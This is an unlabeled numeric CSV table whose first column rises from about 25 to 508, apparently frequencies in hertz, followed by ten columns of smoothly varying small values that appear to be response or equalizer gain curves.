24.89,-11.73,-11.73,-11.74,-11.74,6.00,6.13,5.29,-5.73,-5.74,0.00
25.14,-11.58,-11.62,-11.58,-11.62,6.00,6.15,5.43,-5.58,-5.58,0.04
25.39,-11.43,-11.50,-11.43,-11.50,6.00,6.17,5.57,-5.43,-5.43,0.07
25.65,-11.28,-11.39,-11.28,-11.39,6.00,6.18,5.71,-5.28,-5.28,0.11
25.91,-11.14,-11.27,-11.14,-11.27,6.00,6.19,5.86,-5.14,-5.14,0.13
26.16,-10.99,-11.15,-10.99,-11.16,6.00,6.21,6.00,-4.99,-4.99,0.16
26.43,-10.85,-11.04,-10.84,-11.04,6.00,6.22,6.14,-4.85,-4.84,0.20
26.69,-10.69,-10.92,-10.70,-10.92,6.00,6.23,6.29,-4.69,-4.70,0.23
26.96,-10.55,-10.80,-10.55,-10.81,6.00,6.24,6.43,-4.55,-4.55,0.26
27.23,-10.41,-10.70,-10.40,-10.69,6.00,6.25,6.56,-4.41,-4.40,0.30
27.50,-10.25,-10.58,-10.26,-10.58,6.00,6.25,6.70,-4.25,-4.26,0.33
27.77,-10.11,-10.46,-10.11,-10.46,6.00,6.26,6.83,-4.11,-4.11,0.35
28.05,-9.96,-10.35,-9.97,-10.34,6.00,6.26,6.96,-3.96,-3.97,0.38
28.33,-9.82,-10.23,-9.82,-10.23,6.00,6.27,7.08,-3.82,-3.82,0.40
28.62,-9.69,-10.12,-9.68,-10.12,6.00,6.27,7.19,-3.69,-3.68,0.43
28.90,-9.54,-10.02,-9.54,-10.01,6.00,6.27,7.29,-3.54,-3.54,0.47
29.19,-9.40,-9.89,-9.40,-9.90,6.00,6.27,7.39,-3.40,-3.40,0.49
29.48,-9.26,-9.80,-9.26,-9.79,6.00,6.27,7.48,-3.26,-3.26,0.54
29.78,-9.13,-9.68,-9.12,-9.68,6.00,6.27,7.55,-3.13,-3.12,0.56
30.08,-8.99,-9.57,-8.99,-9.58,6.00,6.27,7.62,-2.99,-2.99,0.59
30.38,-8.86,-9.47,-8.86,-9.47,6.00,6.27,7.67,-2.86,-2.86,0.62
30.68,-8.72,-9.37,-8.73,-9.37,6.00,6.26,7.71,-2.72,-2.73,0.65
30.99,-8.61,-9.27,-8.60,-9.27,6.00,6.26,7.73,-2.61,-2.60,0.66
31.30,-8.48,-9.17,-8.48,-9.17,6.00,6.25,7.75,-2.48,-2.48,0.69
31.61,-8.34,-9.07,-8.35,-9.07,6.00,6.24,7.75,-2.34,-2.35,0.72
31.93,-8.23,-8.97,-8.22,-8.96,6.00,6.23,7.74,-2.23,-2.22,0.74
32.24,-8.09,-8.85,-8.10,-8.86,6.00,6.22,7.71,-2.09,-2.10,0.76
32.57,-7.97,-8.76,-7.97,-8.76,6.00,6.21,7.68,-1.97,-1.97,0.79
32.89,-7.84,-8.66,-7.84,-8.66,6.00,6.20,7.63,-1.84,-1.84,0.82
33.22,-7.72,-8.56,-7.72,-8.56,6.00,6.19,7.57,-1.72,-1.72,0.84
33.55,-7.60,-8.46,-7.61,-8.46,6.00,6.17,7.50,-1.60,-1.61,0.85
33.89,-7.49,-8.36,-7.49,-8.36,6.00,6.15,7.43,-1.49,-1.49,0.86
34.23,-7.37,-8.26,-7.37,-8.26,6.00,6.14,7.34,-1.37,-1.37,0.89
34.57,-7.25,-8.15,-7.26,-8.16,6.00,6.12,7.25,-1.25,-1.26,0.90
34.92,-7.14,-8.05,-7.14,-8.05,6.00,6.10,7.15,-1.14,-1.14,0.91
35.27,-7.04,-7.96,-7.03,-7.95,6.00,6.08,7.05,-1.04,-1.03,0.92
35.62,-6.92,-7.85,-6.93,-7.85,6.00,6.06,6.94,-0.92,-0.93,0.92
35.97,-6.82,-7.75,-6.82,-7.76,6.00,6.03,6.83,-0.82,-0.82,0.93
36.33,-6.71,-7.66,-6.72,-7.66,6.00,6.01,6.72,-0.71,-0.72,0.95
36.70,-6.61,-7.56,-6.61,-7.56,6.00,5.99,6.60,-0.61,-0.61,0.95
37.06,-6.50,-7.45,-6.50,-7.45,6.00,5.96,6.48,-0.50,-0.50,0.94
37.43,-6.39,-7.34,-6.39,-7.34,6.00,5.93,6.37,-0.39,-0.39,0.95
37.81,-6.28,-7.23,-6.29,-7.24,6.00,5.90,6.25,-0.28,-0.29,0.95
38.19,-6.18,-7.13,-6.19,-7.14,6.00,5.88,6.14,-0.18,-0.19,0.95
38.57,-6.09,-7.05,-6.09,-7.04,6.00,5.84,6.03,-0.09,-0.09,0.95
38.95,-5.99,-6.94,-6.00,-6.94,6.00,5.81,5.91,0.01,0.00,0.95
39.34,-5.90,-6.84,-5.90,-6.84,6.00,5.78,5.81,0.10,0.10,0.94
39.74,-5.80,-6.74,-5.81,-6.74,6.00,5.75,5.70,0.20,0.19,0.93
40.14,-5.71,-6.65,-5.72,-6.65,6.00,5.71,5.59,0.29,0.28,0.93
40.54,-5.63,-6.56,-5.63,-6.56,6.00,5.68,5.49,0.37,0.37,0.93
40.94,-5.54,-6.47,-5.55,-6.47,6.01,5.64,5.40,0.47,0.46,0.92
41.35,-5.46,-6.38,-5.46,-6.38,6.02,5.60,5.30,0.55,0.56,0.92
41.76,-5.37,-6.29,-5.37,-6.29,6.02,5.56,5.21,0.64,0.64,0.92
42.18,-5.28,-6.20,-5.29,-6.20,6.01,5.53,5.12,0.72,0.72,0.91
42.60,-5.20,-6.10,-5.20,-6.11,5.98,5.48,5.04,0.78,0.78,0.90
43.03,-5.12,-6.03,-5.13,-6.03,5.95,5.44,4.96,0.83,0.82,0.90
43.46,-5.05,-5.94,-5.05,-5.94,5.90,5.40,4.88,0.85,0.85,0.89
43.90,-4.97,-5.85,-4.97,-5.85,5.84,5.36,4.81,0.87,0.87,0.88
44.33,-4.89,-5.75,-4.90,-5.76,5.77,5.31,4.74,0.88,0.87,0.86
44.78,-4.82,-5.68,-4.82,-5.67,5.69,5.27,4.67,0.87,0.87,0.86
45.23,-4.74,-5.59,-4.75,-5.59,5.61,5.22,4.61,0.86,0.86,0.84
45.68,-4.67,-5.51,-4.67,-5.51,5.52,5.18,4.55,0.85,0.85,0.84
46.13,-4.60,-5.43,-4.60,-5.43,5.44,5.13,4.50,0.84,0.84,0.83
46.60,-4.52,-5.36,-4.53,-5.36,5.36,5.08,4.45,0.84,0.84,0.83
47.06,-4.45,-5.28,-4.46,-5.29,5.29,5.03,4.40,0.83,0.83,0.83
47.53,-4.39,-5.22,-4.39,-5.22,5.22,4.98,4.36,0.82,0.82,0.82
48.01,-4.33,-5.16,-4.33,-5.15,5.14,4.93,4.32,0.81,0.81,0.83
48.49,-4.26,-5.08,-4.26,-5.08,5.07,4.88,4.28,0.81,0.81,0.82
48.97,-4.19,-5.01,-4.20,-5.00,5.00,4.83,4.24,0.81,0.81,0.81
49.46,-4.12,-4.92,-4.13,-4.92,4.93,4.77,4.21,0.81,0.81,0.80
49.96,-4.06,-4.85,-4.06,-4.86,4.87,4.72,4.18,0.80,0.80,0.79
50.46,-3.99,-4.80,-4.00,-4.80,4.80,4.66,4.15,0.80,0.80,0.80
50.96,-3.93,-4.75,-3.93,-4.73,4.73,4.61,4.13,0.80,0.80,0.81
51.47,-3.85,-4.66,-3.86,-4.66,4.66,4.55,4.10,0.81,0.81,0.80
51.99,-3.78,-4.59,-3.79,-4.60,4.60,4.50,4.08,0.81,0.81,0.81
52.51,-3.71,-4.53,-3.72,-4.53,4.53,4.44,4.06,0.82,0.82,0.82
53.03,-3.65,-4.47,-3.65,-4.47,4.47,4.38,4.04,0.81,0.81,0.82
53.56,-3.58,-4.40,-3.58,-4.40,4.40,4.32,4.03,0.81,0.81,0.82
54.10,-3.51,-4.33,-3.51,-4.33,4.32,4.26,4.01,0.81,0.81,0.82
54.64,-3.43,-4.24,-3.44,-4.25,4.25,4.21,3.99,0.82,0.81,0.81
55.18,-3.36,-4.17,-3.36,-4.17,4.17,4.15,3.97,0.81,0.81,0.81
55.74,-3.29,-4.09,-3.29,-4.09,4.10,4.08,3.95,0.80,0.80,0.80
56.29,-3.22,-4.02,-3.22,-4.02,4.02,4.02,3.94,0.79,0.79,0.80
56.86,-3.15,-3.94,-3.15,-3.94,3.94,3.96,3.92,0.78,0.78,0.79
57.42,-3.07,-3.85,-3.08,-3.85,3.86,3.90,3.89,0.78,0.78,0.77
58.00,-3.00,-3.77,-3.00,-3.77,3.77,3.84,3.87,0.77,0.77,0.77
58.58,-2.92,-3.68,-2.93,-3.69,3.69,3.77,3.85,0.77,0.77,0.76
59.16,-2.85,-3.61,-2.86,-3.61,3.61,3.71,3.82,0.76,0.75,0.75
59.76,-2.79,-3.54,-2.79,-3.53,3.52,3.65,3.79,0.73,0.73,0.74
60.35,-2.72,-3.44,-2.72,-3.45,3.44,3.58,3.76,0.71,0.71,0.72
60.96,-2.65,-3.37,-2.65,-3.35,3.35,3.52,3.72,0.69,0.70,0.71
61.57,-2.57,-3.25,-2.58,-3.26,3.26,3.45,3.68,0.69,0.68,0.68
62.18,-2.50,-3.16,-2.51,-3.17,3.17,3.39,3.64,0.67,0.66,0.65
62.80,-2.44,-3.09,-2.44,-3.08,3.08,3.32,3.59,0.64,0.64,0.65
63.43,-2.37,-2.99,-2.37,-2.99,3.00,3.25,3.54,0.62,0.63,0.62
64.07,-2.29,-2.91,-2.30,-2.91,2.91,3.19,3.49,0.62,0.61,0.61
64.71,-2.22,-2.83,-2.22,-2.83,2.83,3.12,3.44,0.61,0.61,0.61
65.35,-2.15,-2.75,-2.15,-2.75,2.76,3.05,3.38,0.60,0.61,0.60
66.01,-2.08,-2.68,-2.08,-2.68,2.68,2.98,3.31,0.60,0.60,0.60
66.67,-2.01,-2.61,-2.02,-2.62,2.61,2.92,3.25,0.60,0.59,0.60
67.33,-1.95,-2.55,-1.95,-2.55,2.54,2.85,3.18,0.59,0.59,0.60
68.01,-1.88,-2.48,-1.88,-2.48,2.48,2.78,3.11,0.59,0.60,0.60
68.69,-1.80,-2.40,-1.81,-2.41,2.41,2.71,3.03,0.61,0.60,0.60
69.37,-1.73,-2.34,-1.73,-2.34,2.35,2.64,2.96,0.61,0.61,0.61
70.07,-1.66,-2.27,-1.67,-2.28,2.28,2.57,2.88,0.62,0.61,0.61
70.77,-1.60,-2.23,-1.60,-2.22,2.21,2.50,2.80,0.61,0.62,0.62
71.48,-1.53,-2.15,-1.53,-2.15,2.15,2.43,2.72,0.62,0.62,0.62
72.19,-1.46,-2.08,-1.47,-2.09,2.08,2.36,2.63,0.62,0.62,0.62
72.91,-1.40,-2.03,-1.40,-2.02,2.02,2.30,2.55,0.62,0.62,0.62
73.64,-1.33,-1.95,-1.34,-1.96,1.96,2.23,2.46,0.62,0.62,0.62
74.38,-1.27,-1.90,-1.27,-1.89,1.89,2.16,2.38,0.62,0.62,0.62
75.12,-1.20,-1.82,-1.21,-1.83,1.83,2.09,2.29,0.62,0.62,0.62
75.87,-1.14,-1.76,-1.14,-1.77,1.76,2.02,2.20,0.62,0.62,0.62
76.63,-1.08,-1.71,-1.08,-1.70,1.70,1.95,2.12,0.62,0.62,0.62
77.40,-1.02,-1.64,-1.02,-1.64,1.64,1.88,2.03,0.61,0.62,0.62
78.17,-0.96,-1.57,-0.96,-1.58,1.58,1.81,1.94,0.61,0.62,0.61
78.95,-0.89,-1.52,-0.90,-1.52,1.52,1.74,1.85,0.63,0.62,0.63
79.74,-0.84,-1.47,-0.84,-1.47,1.47,1.66,1.77,0.62,0.63,0.63
80.54,-0.78,-1.41,-0.78,-1.41,1.42,1.59,1.68,0.63,0.64,0.63
81.35,-0.72,-1.36,-0.73,-1.37,1.37,1.52,1.59,0.65,0.64,0.64
82.16,-0.67,-1.32,-0.68,-1.32,1.33,1.45,1.51,0.65,0.65,0.65
82.98,-0.63,-1.30,-0.63,-1.29,1.29,1.38,1.42,0.65,0.66,0.66
83.81,-0.57,-1.25,-0.58,-1.25,1.25,1.31,1.34,0.67,0.67,0.67
84.65,-0.52,-1.20,-0.53,-1.21,1.21,1.25,1.26,0.69,0.69,0.68
85.50,-0.47,-1.18,-0.47,-1.17,1.18,1.18,1.17,0.70,0.70,0.71
86.35,-0.42,-1.15,-0.42,-1.14,1.14,1.11,1.09,0.72,0.72,0.72
87.22,-0.37,-1.10,-0.37,-1.11,1.11,1.04,1.01,0.73,0.73,0.73
88.09,-0.32,-1.07,-0.32,-1.07,1.07,0.97,0.93,0.75,0.75,0.74
88.97,-0.27,-1.03,-0.28,-1.03,1.03,0.90,0.84,0.76,0.75,0.76
89.86,-0.23,-1.00,-0.23,-0.99,0.99,0.83,0.76,0.76,0.76,0.76
90.76,-0.19,-0.95,-0.19,-0.95,0.95,0.76,0.68,0.75,0.75,0.76
91.66,-0.15,-0.91,-0.15,-0.90,0.90,0.69,0.61,0.75,0.75,0.76
92.58,-0.10,-0.85,-0.10,-0.85,0.85,0.62,0.53,0.75,0.75,0.74
93.51,-0.04,-0.79,-0.05,-0.79,0.80,0.56,0.45,0.75,0.75,0.74
94.44,-0.00,-0.73,-0.01,-0.73,0.74,0.49,0.37,0.73,0.73,0.73
95.39,0.04,-0.67,0.04,-0.67,0.67,0.42,0.30,0.71,0.71,0.71
96.34,0.07,-0.61,0.07,-0.61,0.60,0.35,0.22,0.66,0.67,0.68
97.30,0.12,-0.53,0.11,-0.53,0.52,0.29,0.14,0.64,0.64,0.64
98.28,0.16,-0.46,0.16,-0.45,0.44,0.22,0.07,0.60,0.61,0.61
99.26,0.22,-0.36,0.21,-0.36,0.36,0.15,-0.00,0.58,0.58,0.57
100.25,0.27,-0.27,0.26,-0.27,0.28,0.09,-0.08,0.55,0.55,0.54
101.25,0.31,-0.19,0.31,-0.19,0.20,0.02,-0.15,0.50,0.51,0.50
102.27,0.36,-0.10,0.35,-0.11,0.11,-0.04,-0.22,0.47,0.46,0.46
103.29,0.38,-0.03,0.38,-0.03,0.03,-0.11,-0.29,0.41,0.41,0.41
104.32,0.42,0.04,0.42,0.05,-0.05,-0.17,-0.36,0.37,0.37,0.38
105.37,0.46,0.13,0.45,0.12,-0.12,-0.23,-0.43,0.33,0.33,0.33
106.42,0.50,0.21,0.49,0.20,-0.20,-0.30,-0.50,0.30,0.29,0.29
107.48,0.53,0.28,0.53,0.28,-0.28,-0.36,-0.57,0.25,0.25,0.25
108.56,0.57,0.35,0.56,0.35,-0.35,-0.42,-0.63,0.21,0.21,0.21
109.64,0.60,0.42,0.60,0.42,-0.43,-0.48,-0.69,0.16,0.17,0.17
110.74,0.64,0.49,0.64,0.50,-0.51,-0.54,-0.76,0.13,0.13,0.14
111.85,0.69,0.57,0.69,0.58,-0.58,-0.60,-0.82,0.10,0.10,0.11
112.97,0.74,0.67,0.73,0.66,-0.65,-0.66,-0.88,0.08,0.08,0.07
114.10,0.78,0.73,0.77,0.73,-0.72,-0.72,-0.93,0.05,0.05,0.05
115.24,0.81,0.80,0.80,0.79,-0.78,-0.78,-0.99,0.02,0.02,0.01
116.39,0.83,0.85,0.83,0.84,-0.84,-0.84,-1.04,-0.01,-0.01,-0.02
117.55,0.85,0.88,0.85,0.89,-0.89,-0.90,-1.09,-0.05,-0.04,-0.04
118.73,0.88,0.94,0.88,0.94,-0.94,-0.95,-1.14,-0.06,-0.06,-0.06
119.92,0.91,0.98,0.90,0.98,-0.98,-1.01,-1.18,-0.07,-0.07,-0.07
121.12,0.93,1.01,0.92,1.01,-1.01,-1.06,-1.23,-0.09,-0.09,-0.09
122.33,0.94,1.04,0.94,1.04,-1.05,-1.12,-1.27,-0.11,-0.11,-0.10
123.55,0.96,1.07,0.96,1.07,-1.08,-1.17,-1.30,-0.12,-0.12,-0.11
124.79,0.99,1.11,0.98,1.11,-1.11,-1.22,-1.34,-0.12,-0.12,-0.13
126.03,1.02,1.15,1.01,1.14,-1.14,-1.28,-1.37,-0.12,-0.13,-0.13
127.29,1.03,1.17,1.03,1.18,-1.17,-1.33,-1.40,-0.15,-0.14,-0.15
128.57,1.05,1.22,1.05,1.21,-1.21,-1.38,-1.43,-0.16,-0.16,-0.17
129.85,1.07,1.24,1.07,1.24,-1.25,-1.43,-1.46,-0.18,-0.18,-0.17
131.15,1.10,1.28,1.09,1.28,-1.29,-1.48,-1.48,-0.19,-0.20,-0.19
132.46,1.12,1.32,1.12,1.32,-1.33,-1.53,-1.50,-0.22,-0.21,-0.21
133.79,1.16,1.37,1.16,1.38,-1.38,-1.57,-1.52,-0.23,-0.22,-0.21
135.12,1.22,1.45,1.21,1.43,-1.44,-1.62,-1.54,-0.22,-0.23,-0.23
136.48,1.25,1.49,1.25,1.49,-1.49,-1.67,-1.55,-0.25,-0.25,-0.24
137.84,1.29,1.55,1.28,1.55,-1.55,-1.71,-1.57,-0.27,-0.27,-0.26
139.22,1.32,1.61,1.32,1.61,-1.61,-1.75,-1.58,-0.30,-0.29,-0.29
140.61,1.36,1.67,1.36,1.67,-1.67,-1.80,-1.59,-0.31,-0.31,-0.31
142.02,1.42,1.74,1.40,1.73,-1.72,-1.84,-1.60,-0.31,-0.32,-0.32
143.44,1.44,1.77,1.44,1.78,-1.77,-1.88,-1.61,-0.34,-0.33,-0.34
144.87,1.47,1.83,1.46,1.83,-1.82,-1.92,-1.62,-0.35,-0.35,-0.37
146.32,1.48,1.87,1.47,1.86,-1.86,-1.96,-1.63,-0.38,-0.38,-0.39
147.78,1.48,1.89,1.48,1.89,-1.89,-2.00,-1.64,-0.42,-0.41,-0.41
149.26,1.49,1.92,1.49,1.92,-1.93,-2.04,-1.65,-0.44,-0.44,-0.43
150.75,1.50,1.97,1.49,1.96,-1.96,-2.07,-1.66,-0.46,-0.47,-0.47
152.26,1.50,1.99,1.50,1.99,-1.99,-2.11,-1.67,-0.50,-0.49,-0.49
153.78,1.51,2.02,1.51,2.03,-2.03,-2.14,-1.68,-0.52,-0.52,-0.52
155.32,1.52,2.07,1.51,2.06,-2.06,-2.17,-1.69,-0.55,-0.55,-0.55
156.88,1.52,2.09,1.52,2.10,-2.10,-2.21,-1.70,-0.59,-0.59,-0.57
158.44,1.53,2.14,1.53,2.14,-2.15,-2.24,-1.71,-0.62,-0.62,-0.62
160.03,1.54,2.18,1.54,2.19,-2.19,-2.27,-1.73,-0.65,-0.65,-0.65
161.63,1.56,2.24,1.55,2.24,-2.23,-2.30,-1.74,-0.68,-0.68,-0.69
163.24,1.57,2.28,1.57,2.28,-2.28,-2.33,-1.76,-0.71,-0.71,-0.72
164.88,1.58,2.32,1.58,2.33,-2.32,-2.35,-1.77,-0.74,-0.74,-0.75
166.53,1.59,2.36,1.59,2.36,-2.37,-2.38,-1.79,-0.78,-0.78,-0.78
168.19,1.60,2.40,1.60,2.40,-2.41,-2.40,-1.81,-0.81,-0.81,-0.81
169.87,1.61,2.44,1.61,2.44,-2.45,-2.43,-1.83,-0.84,-0.84,-0.83
171.57,1.63,2.49,1.62,2.49,-2.49,-2.45,-1.86,-0.86,-0.86,-0.86
173.29,1.64,2.52,1.64,2.52,-2.52,-2.47,-1.88,-0.89,-0.89,-0.89
175.02,1.65,2.56,1.64,2.56,-2.55,-2.49,-1.91,-0.91,-0.91,-0.92
176.77,1.65,2.59,1.65,2.59,-2.58,-2.51,-1.93,-0.93,-0.93,-0.94
178.54,1.65,2.61,1.65,2.61,-2.60,-2.53,-1.96,-0.96,-0.96,-0.97
180.32,1.65,2.63,1.64,2.63,-2.62,-2.55,-1.99,-0.98,-0.98,-0.98
182.13,1.64,2.63,1.64,2.64,-2.64,-2.57,-2.03,-1.00,-1.00,-1.00
183.95,1.64,2.65,1.64,2.65,-2.65,-2.58,-2.06,-1.02,-1.02,-1.01
185.79,1.64,2.66,1.64,2.66,-2.66,-2.60,-2.09,-1.03,-1.03,-1.02
187.65,1.64,2.67,1.64,2.67,-2.67,-2.61,-2.13,-1.03,-1.03,-1.04
189.52,1.64,2.68,1.64,2.68,-2.68,-2.62,-2.17,-1.04,-1.04,-1.04
191.42,1.64,2.69,1.64,2.69,-2.69,-2.63,-2.21,-1.05,-1.05,-1.05
193.33,1.64,2.69,1.64,2.69,-2.69,-2.64,-2.25,-1.06,-1.06,-1.06
195.27,1.64,2.69,1.64,2.70,-2.70,-2.65,-2.29,-1.07,-1.07,-1.06
197.22,1.64,2.70,1.64,2.71,-2.71,-2.66,-2.34,-1.07,-1.07,-1.07
199.19,1.64,2.73,1.64,2.72,-2.72,-2.67,-2.38,-1.08,-1.08,-1.09
201.18,1.64,2.73,1.64,2.73,-2.72,-2.68,-2.42,-1.09,-1.09,-1.09
203.19,1.64,2.73,1.64,2.73,-2.73,-2.68,-2.47,-1.09,-1.09,-1.09
205.23,1.64,2.74,1.64,2.73,-2.74,-2.69,-2.52,-1.10,-1.10,-1.10
207.28,1.64,2.74,1.64,2.74,-2.74,-2.69,-2.56,-1.11,-1.11,-1.10
209.35,1.64,2.74,1.64,2.75,-2.75,-2.70,-2.61,-1.11,-1.11,-1.11
211.44,1.64,2.76,1.64,2.75,-2.76,-2.70,-2.65,-1.12,-1.12,-1.13
213.56,1.64,2.76,1.64,2.76,-2.76,-2.70,-2.70,-1.13,-1.13,-1.13
215.69,1.64,2.76,1.64,2.77,-2.77,-2.70,-2.74,-1.13,-1.13,-1.12
217.85,1.64,2.78,1.64,2.78,-2.78,-2.70,-2.79,-1.14,-1.14,-1.14
220.03,1.64,2.79,1.64,2.79,-2.78,-2.70,-2.83,-1.15,-1.15,-1.15
222.23,1.64,2.80,1.64,2.80,-2.79,-2.70,-2.87,-1.16,-1.16,-1.17
224.45,1.64,2.80,1.64,2.80,-2.80,-2.69,-2.91,-1.16,-1.16,-1.16
226.70,1.64,2.81,1.64,2.81,-2.81,-2.69,-2.94,-1.17,-1.17,-1.17
228.96,1.64,2.81,1.64,2.81,-2.82,-2.68,-2.98,-1.18,-1.18,-1.18
231.25,1.64,2.82,1.64,2.82,-2.83,-2.68,-3.01,-1.20,-1.20,-1.18
233.57,1.64,2.84,1.64,2.84,-2.85,-2.67,-3.04,-1.21,-1.21,-1.20
235.90,1.64,2.85,1.64,2.86,-2.86,-2.67,-3.06,-1.23,-1.22,-1.22
238.26,1.65,2.88,1.64,2.88,-2.88,-2.66,-3.08,-1.23,-1.24,-1.23
240.64,1.65,2.89,1.65,2.89,-2.89,-2.65,-3.10,-1.25,-1.24,-1.25
243.05,1.66,2.91,1.66,2.91,-2.90,-2.64,-3.11,-1.25,-1.25,-1.25
245.48,1.66,2.91,1.66,2.92,-2.91,-2.63,-3.11,-1.25,-1.25,-1.26
247.93,1.66,2.92,1.65,2.92,-2.91,-2.62,-3.12,-1.25,-1.26,-1.26
250.41,1.64,2.91,1.64,2.91,-2.90,-2.61,-3.12,-1.26,-1.26,-1.28
252.92,1.62,2.88,1.62,2.88,-2.88,-2.60,-3.11,-1.26,-1.26,-1.26
255.45,1.60,2.85,1.59,2.85,-2.85,-2.59,-3.10,-1.26,-1.26,-1.26
258.00,1.57,2.82,1.57,2.82,-2.82,-2.58,-3.08,-1.25,-1.25,-1.25
260.58,1.54,2.78,1.54,2.78,-2.78,-2.56,-3.07,-1.24,-1.24,-1.25
263.19,1.51,2.74,1.50,2.73,-2.73,-2.55,-3.04,-1.23,-1.23,-1.23
265.82,1.46,2.68,1.47,2.68,-2.68,-2.53,-3.01,-1.23,-1.21,-1.22
268.48,1.44,2.63,1.43,2.63,-2.63,-2.52,-2.98,-1.20,-1.20,-1.20
271.16,1.41,2.59,1.40,2.58,-2.58,-2.50,-2.95,-1.18,-1.18,-1.18
273.87,1.37,2.53,1.37,2.53,-2.53,-2.49,-2.91,-1.17,-1.16,-1.16
276.61,1.34,2.47,1.34,2.48,-2.49,-2.47,-2.87,-1.15,-1.15,-1.14
279.38,1.32,2.45,1.32,2.44,-2.45,-2.46,-2.83,-1.14,-1.14,-1.13
282.17,1.31,2.42,1.30,2.41,-2.42,-2.44,-2.78,-1.11,-1.12,-1.11
284.99,1.29,2.38,1.29,2.39,-2.39,-2.42,-2.73,-1.11,-1.10,-1.10
287.84,1.29,2.37,1.29,2.37,-2.37,-2.40,-2.68,-1.09,-1.08,-1.08
290.72,1.30,2.35,1.29,2.35,-2.36,-2.39,-2.63,-1.06,-1.06,-1.05
293.63,1.31,2.35,1.31,2.34,-2.34,-2.37,-2.58,-1.03,-1.04,-1.04
296.57,1.32,2.33,1.31,2.33,-2.33,-2.35,-2.53,-1.01,-1.01,-1.02
299.53,1.32,2.32,1.32,2.32,-2.31,-2.33,-2.47,-0.99,-0.99,-1.00
302.53,1.32,2.31,1.32,2.30,-2.29,-2.31,-2.42,-0.98,-0.97,-0.99
305.55,1.32,2.27,1.32,2.28,-2.27,-2.29,-2.36,-0.95,-0.95,-0.95
308.61,1.32,2.25,1.32,2.25,-2.25,-2.27,-2.31,-0.93,-0.93,-0.94
311.69,1.32,2.22,1.32,2.22,-2.22,-2.25,-2.26,-0.91,-0.91,-0.91
314.81,1.32,2.19,1.32,2.19,-2.20,-2.23,-2.20,-0.88,-0.88,-0.87
317.96,1.32,2.17,1.32,2.17,-2.17,-2.21,-2.15,-0.86,-0.86,-0.85
321.14,1.32,2.15,1.32,2.15,-2.15,-2.19,-2.10,-0.83,-0.83,-0.83
324.35,1.32,2.13,1.32,2.13,-2.13,-2.17,-2.05,-0.81,-0.81,-0.82
327.59,1.32,2.10,1.32,2.11,-2.11,-2.15,-2.00,-0.79,-0.79,-0.79
330.87,1.32,2.08,1.32,2.09,-2.09,-2.12,-1.95,-0.77,-0.77,-0.77
334.18,1.33,2.07,1.33,2.07,-2.07,-2.10,-1.90,-0.74,-0.74,-0.74
337.52,1.34,2.06,1.33,2.05,-2.05,-2.08,-1.85,-0.71,-0.72,-0.72
340.90,1.34,2.03,1.33,2.03,-2.02,-2.06,-1.80,-0.69,-0.69,-0.69
344.30,1.33,1.99,1.33,2.00,-1.99,-2.04,-1.76,-0.66,-0.66,-0.66
347.75,1.32,1.96,1.32,1.96,-1.95,-2.01,-1.72,-0.64,-0.64,-0.65
351.23,1.31,1.92,1.30,1.92,-1.91,-1.99,-1.67,-0.61,-0.61,-0.62
354.74,1.28,1.86,1.28,1.87,-1.87,-1.97,-1.63,-0.59,-0.59,-0.59
358.28,1.25,1.82,1.25,1.81,-1.82,-1.95,-1.59,-0.57,-0.57,-0.57
361.87,1.22,1.76,1.22,1.76,-1.76,-1.92,-1.56,-0.54,-0.54,-0.54
365.49,1.19,1.70,1.19,1.70,-1.70,-1.90,-1.52,-0.52,-0.52,-0.51
369.14,1.16,1.66,1.15,1.65,-1.65,-1.88,-1.48,-0.49,-0.49,-0.50
372.83,1.12,1.59,1.12,1.59,-1.59,-1.86,-1.45,-0.47,-0.47,-0.47
376.56,1.08,1.53,1.08,1.53,-1.53,-1.83,-1.42,-0.46,-0.45,-0.45
380.33,1.06,1.47,1.05,1.48,-1.48,-1.81,-1.38,-0.42,-0.43,-0.42
384.13,1.03,1.43,1.03,1.43,-1.43,-1.79,-1.35,-0.41,-0.41,-0.41
387.97,1.01,1.39,1.00,1.39,-1.39,-1.77,-1.32,-0.39,-0.39,-0.39
391.85,0.99,1.36,0.98,1.36,-1.36,-1.74,-1.30,-0.37,-0.38,-0.38
395.77,0.97,1.31,0.97,1.33,-1.33,-1.72,-1.27,-0.37,-0.36,-0.35
399.73,0.97,1.31,0.96,1.31,-1.32,-1.70,-1.24,-0.35,-0.35,-0.34
403.72,0.97,1.31,0.97,1.30,-1.31,-1.68,-1.22,-0.34,-0.34,-0.34
407.76,0.98,1.31,0.98,1.31,-1.30,-1.65,-1.19,-0.33,-0.33,-0.33
411.84,0.99,1.31,0.98,1.31,-1.30,-1.63,-1.17,-0.32,-0.32,-0.32
415.96,0.99,1.31,0.99,1.31,-1.31,-1.61,-1.15,-0.32,-0.32,-0.32
420.12,0.99,1.31,0.99,1.31,-1.32,-1.58,-1.13,-0.33,-0.32,-0.32
424.32,1.00,1.32,1.00,1.32,-1.32,-1.56,-1.11,-0.33,-0.33,-0.32
428.56,1.01,1.33,1.00,1.33,-1.33,-1.54,-1.09,-0.32,-0.33,-0.32
432.85,1.01,1.34,1.01,1.34,-1.33,-1.52,-1.07,-0.33,-0.33,-0.33
437.18,1.01,1.34,1.01,1.34,-1.33,-1.50,-1.05,-0.33,-0.33,-0.34
441.55,1.00,1.33,1.00,1.34,-1.33,-1.47,-1.04,-0.33,-0.33,-0.34
445.96,0.99,1.33,0.98,1.32,-1.32,-1.45,-1.02,-0.33,-0.34,-0.35
450.42,0.96,1.30,0.96,1.31,-1.31,-1.43,-1.00,-0.35,-0.35,-0.35
454.93,0.94,1.28,0.94,1.29,-1.28,-1.41,-0.99,-0.35,-0.35,-0.35
459.48,0.91,1.26,0.91,1.26,-1.26,-1.39,-0.97,-0.35,-0.35,-0.36
464.07,0.89,1.23,0.88,1.23,-1.23,-1.36,-0.96,-0.34,-0.35,-0.35
468.71,0.85,1.19,0.85,1.19,-1.19,-1.34,-0.95,-0.35,-0.35,-0.35
473.40,0.81,1.15,0.81,1.16,-1.16,-1.32,-0.93,-0.35,-0.35,-0.35
478.13,0.78,1.12,0.77,1.12,-1.12,-1.30,-0.92,-0.35,-0.35,-0.34
482.91,0.75,1.10,0.74,1.09,-1.09,-1.28,-0.91,-0.34,-0.35,-0.35
487.74,0.72,1.06,0.72,1.06,-1.06,-1.26,-0.90,-0.34,-0.34,-0.34
492.62,0.70,1.03,0.70,1.03,-1.03,-1.24,-0.89,-0.34,-0.34,-0.33
497.55,0.68,1.02,0.67,1.01,-1.01,-1.22,-0.88,-0.33,-0.34,-0.34
502.52,0.66,0.99,0.66,0.99,-0.99,-1.20,-0.86,-0.34,-0.34,-0.33
507.55,0.64,0.97,0.64,0.97,-0.98,-1.18,-0.85,-0.34,-0.34,-0.33
